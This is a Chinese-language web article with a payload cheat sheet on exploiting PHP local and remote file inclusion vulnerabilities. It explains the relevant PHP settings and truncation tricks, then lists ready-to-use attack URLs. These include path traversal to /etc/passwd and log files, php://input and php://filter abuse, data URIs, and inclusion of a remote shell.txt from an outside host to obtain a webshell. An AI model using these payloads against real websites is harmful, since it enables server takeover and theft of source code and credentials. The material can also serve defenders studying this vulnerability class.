PHP文件包含漏洞利用

PHP文件包含漏洞利用

一、PHP配置在文件包含中的运用

 
文件包含漏洞即 当程序员在包含文件的过程中引入了外部提交的数据参与包含的过程所产生的漏洞,这个漏洞是目前Web攻击中最利用率最高的一个漏洞,攻击者 可以轻松获取服务器的访问权限(即拿到webshell)。而文件包含通常又有本地文件包含(Local File Inclusion)和远程文件包含(Remote File Inclusion)之分。allow_url_fopen和allow_url_include是决定包含属于本地文件包含(LFI)还是远程文件包含 (RFI)的条件,在PHP4中则只有一个allow_url_fopen选择。其中allow_url_fopen和 allow_url_include为0n的情况为远程文件包含漏洞,相反为本地文件包含漏洞。
在文件包含中典型的两种格式如下:
1.需要截断的文件包含
include($_GET[‘sb‘]);
 
include(“$_GET[‘dir‘]/test.php”);
在这里要想利用文件包含就必须突破后面/test.php的限制,而通常截断后面数据的有三个办法。
(1)使用%00来截断
适合场合:Magic_quote为off的情况下
 
2)使用?截断
适合场合:远程文件包含(RFI),相当于又构造了一次Get请求。http://127.0.0.1:81/
include.php?dir=http://127.0.0.1:81/shell.txt?
 
(3)通过使路径长度达到一定长度限制时截断
通常Windows的截断长度为240,Linux的截断长度为4096
使用场合:均适用
由于Windows和Linux的文件名都有一个最大路径长度(MAX_PATH)的限制,因此当提交文件名的长度超过了最大路劲长度限制是就会截断后面的内容,从而达到文件包含的效果
include.php?dir=http://127.0.0.1:81/shell.txt//////////////////////////////////////////////////////////////////////
 
2.直接包含的类型
include(“$_GET[‘dir‘]“);
可以直接在dir中指定文件名就能实现文件包含,而不需要经过截断处理。
在register_globals为on的情况下,如果变量未初始化则可以达到文件包含的效果,通常网上发的文件包含 漏洞都没有上面两种那么直接,大部分需要register_globals的配合才能实现文件包含。
 
基本的文件包含漏洞:
code : 
* 包含同路径下的文件:
?file=.htaccess
* 路径遍历:
?file=../../../../../../../../../var/lib/locate.db
(该文件非常有趣因为它允许你搜索文件系统)
* 包含注入PHP代码的文件:
?file=../../../../../../../../../var/log/apache/error.log
(you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.)
 
受限的本地文件包含:
code : 
* 空字符注入(Null Byte Injection):
?file=../../../../../../../../../etc/passwd%00
(需要magic_quotes_gpc=off)
* 列目录(Null Byte Injection):
?file=../../../../../../../../../var/www/accounts/%00
(仅限BSD, 需要magic_quotes_gpc=off,详细信息here)
 
*路径截断(Path Truncation):
?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …
(详细信息参见 here 和 here)
* 点号截断:
?file=../../../../../../../../../etc/passwd……………. …
(仅限Windows, 更多细节参见 here)
 
基本的远程文件包含:
code : 
* 包含远程代码(Including Remote Code):
?file=[http|https|ftp]://websec.wordpress.com/shell.txt
(需要 allow_url_fopen=On 和 allow_url_include=On)
* 使用php输入流(Using PHP stream php://input):
?file=php://input
(specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)
* 使用PHP过滤函数(Using PHP stream php://filter):
?file=php://filter/convert.base64-encode/resource=index.php
(lets you read PHP source because it wont get evaluated in base64. More details here and here)
 
* Using data URIs:
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
(需要 allow_url_include=On)
 
 
* 用于跨站脚本攻击(Using XSS):
?file=http://127.0.0.1/path/xss.php?xss=phpcode
(makes sense if firewalled or only whitelisted domains allowed)
 
受限的远程文件包含漏洞
code : 
* ?file=http://websec.wordpress.com/shell
* ?file=http://websec.wordpress.com/shell.txt?
* ?file=http://websec.wordpress.com/shell.txt%23
(需要 allow_url_fopen=On 和 allow_url_include=On)
 
静态远程文件包含漏洞:
code : 
* 中间人攻击(Man In The Middle)
(lame indeed, but often forgotten)

郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。